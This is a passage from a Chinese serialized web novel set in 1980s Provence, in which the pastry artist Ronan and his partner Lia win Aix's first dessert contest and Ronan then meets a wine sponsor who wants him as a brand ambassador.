今天,我们聚集在艾克斯这座被阳光亲吻了八百年的城市,不是为了讨论政治,也不是为了争论足球——而是为了让各位更加深刻的了解普罗旺斯。 在这里,孩子们学会的第一个单词不是爸爸和妈妈,而是‘果酱’。 在这里,连教堂的祷告室里都飘着奶油的焦香。 在这里,人们的血液里流淌着甜蜜的信仰! 300年前,艾克斯修道院的修女们聚集在这里,为凯旋的英雄烤出了直径1.2米的国王饼,那是战后最寒冷的冬天,但整个城镇都尝到了希望的味道。 今天,我们要用同样的热情向全世界证明——普罗旺斯不仅有薰衣草和葡萄,这里还是甜品的海洋! 现在,请允许我向大家宣布艾克斯第一届甜品大赛的主题——” 喇叭里激昂的声音,把米拉波大道上的民众和游客情绪点燃,每一个角落都爆发出了热情的回响。 “本次比赛的主题是杏仁与巧克力! 比赛规则很简单,每组选手有90分钟的时间来创造历史。 当正午的钟声敲响,阳光直射圣救主大教堂的尖顶,我们一起见证奇迹的发生! 行动起来吧,选手们! 拿出你们的热情和本领,用甜品将这座城市点燃吧!” 罗南抖了下他面前的白色厨师服,布料在空中展成一道白浪。 他左手拿住衣领,右手向后一伸,右臂穿袖而过,再一个来回,衣服已全部服帖的穿于身上。 最后他用力将束腰收紧: “开搞。” 第494章 会有人不爱巧克力吗? 组委会并没有为难各位选手。 杏仁和巧克力是法国甜品中非常经典的组合,无论是做蛋糕、做饼干还是做糖果都有很大的操作空间。 有些经常参加正规美食比赛的选手甚至认为主题太过简单了——这根本不用思考和讨论啊,随便想想都有十几种与其相关的甜品名字出现在脑海中了。 听到比赛内容游客们的反应也很热烈。 这世界上会有人不爱杏仁和巧克力吗? 这恐怕是两种受众最广泛的元素了。 “这次来值了!所有选手的作品我都要尝尝!” “杏仁和巧克力是我最爱吃的两种口味,我已经迫不及待了,诶,有选手做杏仁巧克力酥球吗?” “肯定有,我们去找找!我还想吃杏仁巧克力蛋糕。” 普罗旺斯美食协会和艾克斯政府对第一届甜品大赛的要求是——热热闹闹的办下来,让艾克斯和甜品紧密的连接到一起,过程中千万别出什么岔子,为明年举办第二届积攒口碑和人气。 正是由于这种求稳的心态,他们才会把比赛主题设置成杏仁和巧克力。 这个组合太经典了,经典到选手根本不用费什么脑子,只需把自己最拿手的作品照搬出来就可以。 比赛的内容直接决定比赛的高度。 对于许多实力选手来说,这种偏大众和基础的主题,要拼的是基本功和理解能力。 “巧克力蛋糕,配杏仁口味的装饰物和坚果,哦,我口腔里已经出现它的味道了。” 比赛开始后的前半程,各组选手都在准备原材料,看不出太多东西,评委们巡视一圈就回去了。 但后半程可以讲的东西就多了,有些甜品已经可以看出大致的样子,从这个时候开始,评委们巡视的频次增加了,组委会的各位成员和嘉宾也出来了,按顺序观摩比赛区。 略伦特和某位评委交流: “上一个选手是杏仁蛋糕,上面淋巧克力酱和水果,再之前还有一个选手做的是焦糖杏仁口味的蛋糕,外面有巧克力脆皮外衣,选择蛋糕的选手真多啊。” 那位评审笑着平摊双手: “蛋糕是最好融合和发挥的载体,也不容易出错,而且没有人会拒绝杏仁和巧克力元素的蛋糕不是吗?” 一行人继续向前,来到下一组选手的面前,略伦特再次展露出了笑容: “哦,杏仁巧克力酥球,这也是经典的搭配之一啊!” 杏仁巧克力酥球是一种起源于法国的本土甜品,它的灵感来自于焦糖杏仁糖,17世纪,法国厨师在路易十三公爵的生日宴上推出了这种改良后的甜品,自那之后,杏仁巧克力酥球成为了糖果店里的常客,并作为门面放到橱窗里,节假日前,一定会有孩子在橱窗前哭喊着希望父母给他买一些。 又往前走了几步,略伦特笑着看向身后的艾克斯政府同事: “还有卡利松!无论是在卡利松上面铺上巧克力粉,还是淋上巧克力冰淇淋都是非常棒的组合,我已经迫不及待的要大吃特吃一顿了。” 那位官员开心的走向这位本土选手: “哦,这是我今天最喜欢的一款卡利松了!” 为了让活动显得热闹,组委会邀请来了普罗旺斯本土的五十多组选手。 但看了一圈下来,甜品种类却并不丰富,始终围绕那几款经典的组合做发散,除了杏仁巧克力蛋糕、杏仁巧克力酥球和艾克斯闻名的卡利松,还有杏仁巧克力牛扎糖、杏仁巧克力可颂/丹麦酥、杏仁巧克力布朗尼、杏仁巧克力脆饼和杏仁巧克力马卡龙等。 外形有可能千奇百怪,但核心一定是这几种,看多了难免让人审美疲劳,提不起什么兴趣.一开始还有人积极的点评,到后面都只看不说了。 点评和评分是评审们的责任,再没话可说也要按顺序看下来。 但一些嘉宾和官员就没有那么好的耐心了。 蛋糕,又是蛋糕。 杏仁糖,又是杏仁糖。 马卡龙,我不想吃马卡龙了! 他们不自觉的加快脚步,把整个巡回队伍拉成了一字长蛇,以希望赶紧结束,回到舒服的休息区。 “咦?” 冲刺到最前方的某位嘉宾突然发出一道声音,打破了略显低沉的气氛。 那人对身后的伙伴招手: “快来看看,我居然没有看出这里要做的是什么东西。” 大家随即加快了脚步。 有哪位选手把传统甜品玩出新花样了吗? 刚调动起来的热闹气氛很快再次回归平静,因为大家也看不出来这个备战区准备的是什么东西.纷纷翘首以盼的看向队伍的末尾。 真正的专业和评审都在那里。 略伦特永远是那副热情的模样,无论看到多少杏仁巧克力蛋糕都像是第一次见到似的,一脸惊喜。 他正和评审们在某个选手的比赛区域前,讨论这个蛋糕和其他的十几个比有什么新的东西,一抬头发现前面本来连屁股都看不到的一些同僚们,停在某个备战区前面,看样子在等着自己等人过去。 再一看这个比赛区里面的选手,略伦特顿时笑的更开心了: “怎么了朋友们,我们的人气选手前面的游客太多,挤不进去了吗?” 罗南备战区域前围观的游客的确不少,但想要挤进去还是很容易的,只不过挤进去他们也看不懂啊。 一位艾克斯的当地官员笑着对略伦特说: “这里可能需要你们仔细的讲一讲了。” 罗南和莉亚的工作顺序和其他选手一样,前面的几十分钟也在做食材的准备,例如融化巧克力等等,这一点他们之前就定好了。 但由于两个人经过了一个多小时的热身,可以马上进入比赛的氛围,还提前知道了比赛内容、做了非常充分的准备,所以进度比其他选手要快上那么一些,他们面前的甜品已经几乎成型了。 为什么说几乎成型,而不是已经成型呢? 因为罗南看到评审们来了,兴奋的说: “你们来的太是时候了,这个作品还差最后一步就可以完成,谁来替我完成它?很简单的,切开就行。” 比赛规定是90分钟,但允许选手提前完成,并提前评定。 五十多组选手都在90分钟那一刻端着作品来,评审们得吃到几点钟啊? 不过罗南的确是今天最早完成的选手,现在距离截止时间还有30分钟呢。 评审们围成一个圈子,打量他面前其貌不扬,但和他们认知中任何法国传统甜品都不大相同的作品。 “基底更加湿润,不像是蛋糕。” “也不是慕斯的质地,我只能看出它上面铺的是糖霜和杏仁冰淇淋。” 几位评审看向略伦特,想看看他要说些什么。 这个甜品他们看不明白,但这太丢人了不是吗? 他们希望圆滑的略伦特能解决一下这个尴尬的难题。 在某些事情上,略伦特就是比其他人优秀,比如能屈能伸。 他一点没内耗,虚心求教: “这是什么东西?” 罗南把勺子递给他: “完成最后一步我再说名字,这样更好理解。” 略伦特拿起勺子,问周围的评审们: “大家做好打分的准备了吧?那我切了?” 回应他的,是一声接一声的催促。 略伦特把勺子插入了这个类蛋糕体,发现非常顺利,尤其是切进去之后手感无比的流畅,似乎表皮和内心是两种材质的东西。 他放慢手上动作,想要仔细的感受勺子上传上来的手感,几乎在瞬间,切口附近倾泻而出了大量巧克力质地的粘稠液体。 略伦特一惊,把勺子抽了出来。 罗南则拿起勺子,把这个甜品切出了一个豁口。 “这款甜品叫杏仁熔岩巧克力。” 在正常历史中,1987年某法国米其林三星主厨在研发新甜点时,因蛋糕烤制时间不足,发现中心未凝固的巧克力酱形成火山喷发般的流心效果,但其并没有围绕这次‘事故’做什么,只是在同行聚会中提起过有这样一桩趣事。 1991年,一名曾在法国甜品界活跃过的美国厨师,在其纽约的餐厅里第一次将熔岩蛋糕列入菜单,这款甜品经过媒体传播和发酵后风靡全球。 这世界上没有人不爱巧克力,尤其是流心状的巧克力.即使提前了四年,它的出现依然产生了巨大的冲击。 评审们催促罗南赶紧分食,已经迫不及待的要品鉴一番了。 看了太多同类作品的他们,完全被这个创新的东西所征服。 “上帝,这个口感,将巧克力的味道发挥到了极致。” “杏仁冰淇淋的味道也被完全激发了出来,嘴里正在进行冰与火的协奏曲。” “太棒了,这个作品太棒了。” 略伦特意犹未尽的舔了舔勺子,问罗南: “这真是一个伟大的发明,我能问下,你是如何精准的让巧克力保持这个状态的吗?” 在今天较早的对话中,罗南坦然的分享了樱桃挞的挞皮制作方法,没有任何保留,略伦特认为这次他也会得到同样的结局,怎料罗南居然当众拒绝回答他的问题。 “抱歉略伦特,现在还是不是说这些的时候。”罗南擦了一下手指上不小心弄到的巧克力,与忙碌的莉亚站到了一起,“因为比赛还在继续,我们要准备第二件作品了。” 无数惊呼声同时出现。 “什么,你还有作品?” 第495章 嗨,顺手的事 比赛开始前,罗南的比赛区吸引来了最多的游客。 比赛开始后,这里又吸引来了最多的评审和嘉宾。 吃完了杏仁熔岩巧克力,其他选手的甜品已经勾不其他们的兴趣了。 大家只想等着看罗南的第二道作品还能做出什么新奇的东西。 略伦特有许多人需要照顾.提前知道比赛内容的选手自然不可能只有一个罗南。 不过他来罗南这里的频率还是挺高的,见一位艾克斯本地官员并不关心自己城市的选手,死死的盯着罗南看,他开玩笑的问: “想把杏仁熔岩巧克力搬到艾克斯吗?” 那位官员笑着摇头: “快别开玩笑了,布兰科知道一定会把我杀死,我只是在等着吃下一个作品,刚刚的分的人太多,只吃到了一点点,现在嘴里的味道勾的我难受。” 旁边另一个和两位相识的人已经握好了勺子,随时准备冲上去开吃: “坦白讲,杏仁熔岩巧克力流出来的巧克力并没有让我多吃惊,让我吃惊的是热乎巧克力和杏仁冰淇淋融合到一起的口感你们不觉得罗南这里的巧克力和杏仁冰淇淋味道格外好吃吗?” 随着时间流逝,完成比赛的选手陆续出现。 评审们吃了不少各种质地的巧克力,启用杏仁冰淇淋的选手不只有罗南这里,可大家吃了这么多选手的甜品.嘴里和心里想的依然是这个杏仁熔岩巧克力,跟着了魔似的。 略伦特双手抱胸,微笑着说: “你们没发现吗?今天罗南格外注重口味的调和和搭配,从早上的樱桃挞就开始了。” 经他提醒,那位艾克斯的官员兴奋的拍了下手: “没错,他今天格外重视口感的呈现。” 用饼干烘制的挞皮,热巧克力和杏仁冰淇淋的碰撞每一次都让味蕾无比舒服和惊喜。 想必这就是罗南的作战方案了。 “这一次又将是怎样的味觉盛宴呢?”略伦特一脸欣喜的念叨。 大家期待的看过去,很快就傻眼了,因为罗南正在做一件让他们无法理解的事情。 在其他选手紧锣密鼓的收尾时,他正在用刷子涂甜品盘。 罗南的手像是有魔力一般,拿着刷子轻轻那么一转,一个用巧克力画出的圆环便出现了。 似乎是对这个图案不满意,他和旁边的莉亚嘀嘀咕咕的说了几句话,又把这个图案擦掉了。 “对嘛,这就对了嘛,罗南的优势是甜品口感和味道的把控能力,不要浪费时间设计摆盘了。”有评委焦急的点评着。 不用略伦特提醒,许多评审都看出罗南今天要走的路线了。 但罗南却在众人注目下,又画了一个盘子图案,似乎还是不满意,又涂掉了,然后是第三个,第四个,第五个. 评审和嘉宾们已经数不清他设计了多少个图案了,几分钟内至少有十几个。 盘子变成了白纸,刷子和巧克力变车了铅笔,他就这样创作开来。 这次连略伦特都开始着急了。 时间所剩不多,罗南居然还在设计盘子样式。 你的第二个作品在哪儿呢? 虽然比赛场地里还有一个人,而且始终在忙忙碌碌的满场飞奔,但大家只觉得那是罗南的助手,重要的步骤还是要罗南来啊。 又过了三分钟,罗南终于完成了创作,满意的放下了刷子和盘子。 几乎在瞬间,莉亚将两颗刻有纹路、一大一小的‘蛋’端到了罗南面前,看起来像是用巧克力做的。 这些评审和嘉宾的注意力全程在罗南身上,他们甚至没有注意到这个中年妇女是如何把这个东西做出来的。 莉亚又把一个个道具和工具放到罗南的面前: “我的能力只能做到这样了,后面的你来调整吧。” 罗南点了两下手腕上的表,挑着眉毛说: “时间刚刚好,我这里也完成了。” 围观的评审和嘉宾看傻了。 等等,这是什么接力赛嘛? 那之后,罗南再也没有分过神。 躬下身子,仔仔细细的给第二个甜品收尾。 那些甜品师熟悉的道具,像是被女巫施放了魔法一样,在罗南的手里快速飞舞了起来,看的人眼花缭乱。 转台快速到看不清细节,但罗南却能准确的一刀一刀雕在‘蛋’上,修改它的形状。 每分钟那两颗蛋都会有新的视觉感传来,大家虽然依然看不出来那是什么东西,但却有一种感觉——它越来越逼真了。 最后五分钟,罗南终于停下了塑型,将喷枪拿了起来。 黑色的粉状物喷射而出,落到了‘蛋’上,略伦特几乎是尖叫着喊了出来: “他们用巧克力做了两颗‘杏仁’!” 实际上他刚刚一直在想,这个作品里似乎只有巧克力元素,如何体现杏仁呢? 因为忽视了莉亚的操作过程,略伦特猜,杏仁也许掺到巧克力里了,没想到‘杏仁’在最后才出现! 比赛的主题是杏仁与巧克力,但没人规定这两种东西一定要以食材的形式呈现啊. 厉害,真的是厉害! “罗南太让人惊喜了。”此时此刻,圆滑的略伦特完全无法掩饰对罗南的偏心,由衷的夸赞了出来。 在大家以为他今天要用口味征服艾克斯时,他用了这样一个巧妙绝伦的作品向大家证明——我罗南会的可多着呢! 最后几分钟,简直是一场酣畅淋漓的艺术展示! “因为他是罗南啊。”伯纳德不知从哪里冒了出来,站到了略伦特的身边,“甜品是罗南最擅长的艺术表现形式,你忘记了吗?” 第二个作品都没来及等罗南说点什么,就被评审们抢走去拍照了。 刚刚他们太着急,直接把杏仁熔岩巧克力给分了,完全忘记了罗南艺术家的身份。 要知道‘希望’的照片现在在二级市场都能卖上价钱,这个新作品的照片怎么不能卖个几千一万的? 混乱中,想要和罗南聊两句的伯纳德始终无法近罗南的身,此刻围着罗南的人实在太多了。 恢复了理智的略伦特非常照顾赞助商情绪,始终陪伴在他的身边: “需不需要我帮你约个罗南的时间?” 看今天这个情况,伯纳德和老乡罗南聊不了两句,但是他清楚,这位赞助商不甘于只和罗南说两句就结束。 伯纳德点头: “单独见面的机会需要有,但第一时间的恭喜也要送上,今天罗南又大放异彩了。” 略伦特小心翼翼的问: “我方便问一下,你想找罗南聊什么吗?我好促成你们的见面。” 伯纳德收回视线,看向略伦特: “你应该知道我为什么会赞助这次活动,罗南对于我们的红酒来说非常重要,我希望他能为我们的品牌站台。” 略伦特皱着眉头说: “但你应该知道,罗南有自己的酒品牌。” 伯纳德不以为然的说: “没关系,我们走的是两条不同的线路,粉红酒是餐酒,走亲民路线,而我们的红酒定位为高端。” 略伦特觉得伯纳德把这件事想的太简单了。 就算是不同的路线,你们也是竞品啊。 他不想看到这两个人不欢而散,这有可能会破环作为中间人的他与双方的关系,于是劝阻道: “其实我有更好的提议,我介绍给你认识几个更合适的艺术家怎么样?他们最近都将来艾克斯参观甜品大赛。” 伯纳德笑着反问: “在普罗旺斯,有比罗南更加有灵气和才华的艺术家吗?他的才华很快就要溢出到普罗旺斯之外了.” 略伦特还想说什么,手里突然多了一片‘羽毛’。 罗南放下就走: “不能第一时间让大家吃到第二个作品实在抱歉,他们马上就拍完照了,先吃点杏仁巧克力吧。” 比赛内容是今早公布的,虽然罗南早早的便知道主题,但也不会傻到提前准备,所以这个用巧克力和杏仁白巧克力制作的甜品一定是在比赛期间内制作出来的。 可罗南已经做了两个甜品啊而且这个羽毛造型又是如此的精致,想必要花费不少的时间。 “什么时候做的?”略伦特瞪大眼睛问。 罗南特别潇洒的挥了挥手: “就刚才,还剩了点材料,顺手的事。” 伯纳德的眼睛里有金色的光发射出来,脑袋里有几个单词不停的翻滚: 罗南,普罗旺斯最有才华的艺术家,合作,必须成功。 第496章 四十多岁依然可以发光 罗南制作的那两颗巧克力‘杏仁’实在太逼真了,组委会安排完拍照留念后,评审们没有一个舍得敲开尝一尝。 这绝对是艺术品级别的作品谁敢吃啊? 大家不断在脑海中搜寻之前听到或者看到过的消息——那个叫‘相思鸟’的甜品是多少钱拍出去的来着? 见大家只看不动,罗南主动把‘杏仁’敲开,给评审们分了,同时对周围翘首以待的围观群众解释: “大家不要着急,我们一会会做同款给大家品尝。” “第一款杏仁熔岩巧克力也会继续做吗?”第一排的一个女孩问。 她刚刚看到了巧克力倾泻而出的全程.上帝,那太诱人了! 罗南返回操作区,开始准备给游客们品尝的试吃: “有的,都有,一会记得过来拿。” 七八道年纪各异、性别不一的声音同时响起: “我们不走了,就在这等你做!我要第一个吃到!” 机灵的伊莎贝尔马上出去维持秩序: “如果喜欢,之后可以去我们在卢尔马兰的餐厅,那里有几十款甜品供应,每一款都好吃的不得了,大家排好队啊,我们马上就要发试吃了。” 伊莎贝尔很清楚,罗南来参加这次比赛的目的是为了给餐厅做宣传。 这次把她带来,就瞧好吧! 前面这些等着拿试吃的人全都会被她转化!! 莉亚配合着罗南做起了试吃,她一边调整模具一边也跟着吆喝: “我们还将全年供应今天的两款甜品,没吃到的,或者吃到了喜欢吃的,也可以去卢尔马兰。” 罗南有些拿不准的看莉亚,小声问: “第二个也可以吗?” 莉亚的造型能力的确提升了许多,但复刻第二个巧克力杏仁还有一点点困难,可以做,不过没有罗南做的好因此她在最后关头把刀交给罗南了。 莉亚回给罗南自信的微笑: “给我一周时间,一定可以学会,你刚才的操作我都记下了。” 罗南低头拿起一大块巧克力: “好!” 这一边,罗南和莉亚已经开始下一步动作——给餐厅引流。 而评审们还在沉浸在上一步不肯向前——仔仔细细的品味他们的作品。 罗南和莉亚制作的甜品不仅有‘形’和‘意’,味道也一点都不差。 还带有一点点余温的巧克力脆壳在齿间应声破碎,似乎是咬碎了一片脆弱的玻璃,随即‘咔嚓’声在整个头颅内回荡,浓香像划破天空的闪电般拂过舌面——巧克力风暴正式开始了。 风暴结束,脑海里只有一个想法——没吃够! 事实上,第一款甜品就很让评审们意犹未尽,那款熔岩巧克力无论是视觉还是味觉都让他们无法忘掉。 两个作品迭加到一起,让这些普罗旺斯的‘老饕’们放下了面子和身份,绞尽脑汁的想要再来一块尝尝。 罗南所在的备战区前游客越聚越多,因为原本留给游客的试吃全都让评审、嘉宾和各位官员抢了,搞得罗南不得不委婉的送客: “先生们、女士们,我猜你们还有许多组选手的作品还没有品尝和点评,我已经等不及知道结果了。” 在罗南的提醒下,专业的评审们终于依依不舍的离开。 结果还有悬念吗? 第一届艾克斯甜品大赛处处彰显一个‘稳’字。 一个为了宣传艾克斯而设立的美食活动,没必要产生太大的硝烟,更不要有什么争斗才是最好。 为了一碗水端平,给足众多明星甜品师的面子,最终的奖项有好几个,有专门评选外形的,有专门评选口感的,有专门评选创意的,还有专门评选人气的这还不够,而且每一个奖项都不止有一组选手获奖。 但如此端水的比赛,却还是出现了‘最大赢家’——有一组选手次次榜上有名,罗南和莉亚的名字已完全刻入大家的脑海中了。 无论主席台上的嘉宾在颁布什么奖项,都会有爱凑热闹的群众大声喊出罗南和莉亚的名字。 作为今天艾克斯的最大赢家,罗南自然得到了一次特殊的‘照顾’,组委会安排电视台的摄像机和主持人去他所在的区域进行一次单独采访,其他选手都是镜头一带而过。 然而当他们去的时候发现——罗南不是一个人来接受采访,他还拉来了一个中年妇女。 美食比赛中多人配合并不稀奇,今天大部分的选手都是多人参赛,但两个人中必定有主有次,通常是一个主厨带一个副手,因此主持人想当然的对罗南说: “这次你和你的助手做出了如此好的作品呈现、得到了这么多的肯定,请问有什么秘籍吗?” 罗南马上更正道: “莉亚是我的伙伴,不是助手,今天的两个作品是我们合作完成的。” 游客人群中一片哗然。 比赛开始了这么久,不少人都听说了罗南的身份。 这是一位普罗旺斯著名甜品艺术家,国宝级别的那种! 他身边的妇女居然和他一样厉害吗? 莉亚的勇气和自信仅限于在制作甜品时。 罗南硬拉她来一起面对摄像机已经让她浑身不自在、手都不知道要放到哪里,现在居然还以伙伴相称,让无数路人的目光落到了自己身上。 她无措的向一侧迈了一步,想要趁着大家不注意,离开采访区域。 但罗南敏捷的将她拉到自己的身边,自豪的介绍: “朋友们,请允许我为大家介绍——莉亚!” 不给莉亚继续逃跑的机会,罗南用鼓动性极强的语气问围观的人: “你们吃到我们的甜品了吧?好不好吃?” “好吃!”游客们整齐划一的大声回答。 罗南指着身边的莉亚说: “巧克力和杏仁全部是莉亚调的,她是卢尔马兰最棒的甜品师!请你们一定要记住这个名字!!” “莉亚!莉亚!莉亚!!”四周一片欢腾。 莉亚双眼一阵发酸,激动的捂住眼睛,过了几秒一把抱住罗南: “谢谢,谢谢亲爱的。” 上帝,这一定是她人生中最重要的一天了。 人群里的路易哭的比女儿被求婚那天还伤心,眼泪鼻涕横流的同时,还不忘大声嘶吼: “莉亚!亲爱的你是最棒的!!我爱你!!!” 佐伊比路易的情绪好一点,但没有好很多,隐忍的捂住嘴巴·: “谢谢。” 这一句谢谢是对罗南说的。 四十多岁岂止是打拼的年纪,四十多岁依然可以发光啊。 俗话说的好,送佛送到西。 既然略伦特作为中间人介绍了伯纳德和罗南认识,那么这一次他们的见面,略伦特自然要负责到底了。 甜品大赛尘埃落定,人群也趋于平静后,他再一次去找了罗南,向他说明伯纳德想要和他见一面的事情,也转达了伯纳德想要见面的原因——为了他的高端酒庄。 如果时间方便的话,不如大家今晚坐到一起聚一聚? 罗南听完,很是歉意的说: “面可以见,但饭就不吃了,如果伯纳德方便,下午可以随时过来这里。” 普罗旺斯人对待吃饭有特殊的意义。 如果有求于人,对方答应坐下来喝两杯,那么代表要聊的事情大概率有戏。 一旦普罗旺斯人拒绝了你的聚会邀请,那么大概率他也是在拒绝你的其他提议。 伯纳德不是普罗旺斯人,略伦特不清楚他是否知道这个‘规矩’。 罗南也不是普罗旺斯人,略伦特也不清楚,他的拒绝是否有其他层面的含义。 可不怕一万就怕万一。 略伦特思量再三,很小心的问罗南: “你今晚有约了?” 罗南摇头: “没有,今晚没有其他事情。” “那我方便问一下——”略伦特问的更加小心了,“你是不是对伯纳德提出的合作不太感兴趣?罗南,请相信我,我是你这边的人,任何麻烦我都会帮你解决,就像是那些集市。” 略伦特郑重的拍了拍罗南的肩膀,那意思是,我一定会帮你解决掉这个难题,你只需如实的告诉我最真实的原因。 怎料罗南尴尬的摸了摸脖子: “是因为我在减肥,最近不参加任何聚会,酒和饭都暂时不吃了。” 距离拍婚纱照还有不到一周的时间,但他还差好几斤,必须得激进一点了。 略伦特一脸震惊。 这个忙.你可真难倒我了! 罗南没有说他对伯纳德的合作提议不感兴趣,那么略伦特就敢大胆的将人带过去了。 不过有些事情他有些想不明白了。 略伦特确信,罗南在某些地方和他是一种人,他们的眼睛看的不是眼前,他们在意的是很高很远的事情。 既然这样,罗南不会满足于斯特斯加目前的境地,一定会将它往更高、更远经营。 那么他就必然无法和伯纳德合作成——罗南要将自己作为艺术家的高端影响力全部赋能到斯特斯加上。 那么他为什么要同意这次见面呢? 当面拒绝更有诚意? 亦或者是其他原因? 略伦特决定,今天他要陪在伯纳德的身边,听听他们两个是如何聊的。 伯纳德居住在大城市阿维尼翁,身边联系频繁的大部分是巴黎新酒农,因此不了解普罗旺斯本地的规矩。 对罗南拒绝了晚饭提议,要求在米拉波大道上见面并没有什么失望的反应,甚至还挺兴奋的。 他们的见面地点在距离勒内喷泉不远的一所咖啡厅里,这地方是略伦特找的。 “罗南实在太忙了,脱不开身,你知道的伯纳德,罗南今天再次震惊普罗旺斯了。”略伦特偷偷对罗南眨了下眼睛,减肥这件事就没必要人尽皆知了。 罗南感激的扬了下手里的咖啡杯,配合着略伦特对伯纳德说: “是的,这两天有点忙,咱们直接进入主题吧。” 在普罗旺斯定居后,伯纳德对效率高的人有一种无法挥去的滤镜,尤其这人还是他非常欣赏的罗南: “好,那我就长话短说,罗南,我想邀请你和我的酒庄进行深度绑定合作,合作内容不限于为我们设计外包装纸、参加我们纪录片的拍摄等,我给你的除了满意的报酬外,还承诺可以让你以代言人的身份,出现在我所赞助的各种活动里。” 伯纳德翘起二郎腿,自信的敲起了沙发扶手: “甜品大赛只是我赞助的一个非常小的活动,坦白讲,如果这次没有你的参与,我完全不会关注这里,因为我要走的是最高端的路线,我们的赞助目标是戛纳电影节、戛纳电视节、阿维尼翁戏剧节、环法帆船赛的普罗旺斯赛段、芒通柠檬节、普罗旺斯国际舞蹈节、卡马尔斗牛赛.如果一切顺利,我有可能还会赞助法网。” 虽然伯纳德评价艾克斯第一届甜品大赛为‘一个非常小的活动’,但身为主策划人的略伦特一点都没有不高兴的意思流露出。 这可绝对不是装的,而是因为和伯纳德所说的其他活动相比,甜品大赛的的确确太小了。 戛纳电影节是普罗旺斯的‘门面’,其最高奖项金棕榈奖代表全球电影艺术的巅峰,每年戛纳电影节期间,这里还会举行全球最大规模的电影版权交易会,成交价是以亿为单位计算的。 戛纳电视节不如戛纳电影节有名,但商业氛围更浓厚,在法国各台播放的电视剧,几乎全部是在这期间完成拍摄融资,一到电视节举办期间,整个戛纳上空飘着的全部是法郎的味道。 阿维尼翁戏剧节是欧洲最大的戏剧盛会,每年可以吸引来比戛纳电影节更多的游客参观。 在普罗旺斯,阿维尼翁戏剧节和戛纳电影节形成了‘双星格局’,一个聚焦电影工业,一个深耕舞台艺术,同样都是世界级的。 环法帆船赛是世界上最大的海岸帆船赛,1987年参赛国达22国。 芒通柠檬节更是一个可以比肩尼斯狂欢节的本土大型盛宴,这个自1934年开始便每年举办的活动,是全球唯一一个柑橘类主题嘉年华,无数国际大牌的设计灵感都来源于此。 普罗旺斯国际舞蹈节是欧洲三大古典舞蹈节之一(与爱丁堡、萨尔茨堡并列)。 卡马尔斗牛赛的观众比环法自行车赛普罗旺斯段的人数还要多。 还有法网 略伦特深深吸了一口气,发誓必须要服务好他的上帝伯纳德! 他相信罗南也一定会被伯纳德的实力所震撼到,是不是心态要动摇了? 但罗南听完伯纳德的自信之言,表情平静的说: “我不在意这些活动,我在意的是你的酒庄是否足够高端,你如何证明你的酒庄很高端呢?” 请假条 被同学临时叫出去帮忙了,这个点还没吃饭,请假一天。 这个月的第一次请假,望谅解~ 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第497章 欢迎来到普罗旺斯自由公路 如果罗南对伯纳德提出的合作感兴趣,那么他一定早早的沉迷进了巴黎老乡所畅想的未来里。 但很遗憾的是,罗南根本就不可能接受伯纳德的深度合作邀请,因为斯特斯加未来也将要聚焦到高端葡萄酒市场。 只是这个目标应该没人能想到,或者说没人会相信罢了。 今天稍早些时候,罗南从略伦特的嘴里听到了伯纳德态度的坚决——不达成目的誓不罢休。 合作是一个双方互相选择的过程,既然伯纳德如此势在必得,就必须要拿出可以说服罗南的东西。 而罗南一直对巴黎新酒农如何成为普罗旺斯高端葡萄酒的代名词这件事而感兴趣。 普罗旺斯本地做葡萄酒生意的人都知道有这么一批人的存在,从戈尔德系列艺术活动看来,这些老乡在普罗旺斯混的那是相当的不错。 既然如此,罗南就来‘学习学习’。 在刚刚的简短交谈中,他已经‘学习’到了一个方式——赞助普罗旺斯当地高端活动。 事实上,这一条路罗南在这之前就想到了。 身为艺术家的他比这些赞助商更加清楚和明白,在大型活动上积攒足够的曝光度有什么好处,因为他本人就曾多次这样受益过。 罗南想了解些其他的途径,一些他不知道的。 那些大型活动确实很让人激动和兴奋但和罗南没有关系啊。 不,应该说和现在的罗南没有什么关系。 也许几年之后,当斯特斯加品牌升级成功,罗南就要像如今头疼去参加普罗旺斯哪几个集市一样,头疼今年到底要赞助戛纳电影节,还是阿维尼翁尼翁戏剧节呢? 啊,这可真是个让人兴奋不已的烦恼啊。 罗南不合乎情理的反应,让伯纳德非常意外。 当听到他的计划后,连略伦特看他的眼神都发生了变化。 罗南怎么还能如此平静,完全无动于衷呢? 伯纳德很快反应过来——是不是因为罗南凭借自己的本事也可以去这些本地高端活动? 想一想也有这种可能啊,他曾经看到过罗南参与F1摩纳哥站大奖赛的报道。 如果是这样,他所拿出的‘筹码’的确不够分量。 高端的酒品牌要配高端的活动,当然也只有高端的酒庄才配高端的艺术家。 “赞助活动获取曝光只是计划的第一步,像你这样的艺术家应该知道,罗列曝光只能提高在本地的知名度,但和品牌的高端化没有直接的关系,关于如何体现高端,我们有其他的动作和路径。”伯纳德放下了翘起的二郎腿,变得认真起来。 不等罗南接话,伯纳德继续说道: “比如这次我们在聊戛纳电视节时,就要求主办方把我们的酒送入明星贵宾室,晚宴上嘉宾和明星也必须与我们的酒瓶同框。” 借助明星和嘉宾的势能嘛.罗南的表情依然没有什么变化,这也是他之前就想明白的方式了。 伯纳德不疾不徐的继续说道: “我的酒庄会实施‘地块分级’制度,早在几年前,我们就绘制出了山坡微气候地图,用玄武岩土壤、沙岩土壤、石灰岩土壤和水晶沙岩土壤生长出的葡萄酿制成的葡萄酒,被定位成了不同的价格。” 罗南的表情终于有所变化,他微微前倾身子: “顾客们认同这种制度?” 伯纳德笑着耸肩: “当然,玄武岩因为可以赋予葡萄更多的矿物质感是有钱人最喜欢的,这一套早在十几年前就被波尔多的先锋酒庄认证可行了。” 罗南心中一喜。 斯特斯加也拥有两种不同的土壤类型。 一种是卢尔马兰附近常见的石灰岩土壤,另一种是他在北坡改良的那几公顷黏土-石灰岩混合土壤。 后者在普罗旺斯非常罕见,只能通过改良获得。 北坡要种梅洛,未来一定要运用到新的高端酒配方里,如果稀缺的黏土-石灰岩混合土壤也算是一种提高身价的途径,那么将来向高端市场发展时又多了一条宣传手段啊。 “还有呢?”罗南继续问道。 他不相信巴黎老乡的肚子里只有这一点东西,想必还有许许多多的手段。 伯纳德终于对罗南的反应满意了。 对喽,就是要这种表情嘛。 “我们还实施了配额制。”伯纳德语气缓慢的说,“首先留下给王室特供,再留一定比例给米其林直供,其余的才给酒庄会员购买。” 配额制罗南曾在杰罗姆的嘴里听到过。 这的确是高端酒庄经常使用的手段。 他好奇的问: “后两者的比例大概是多少?” 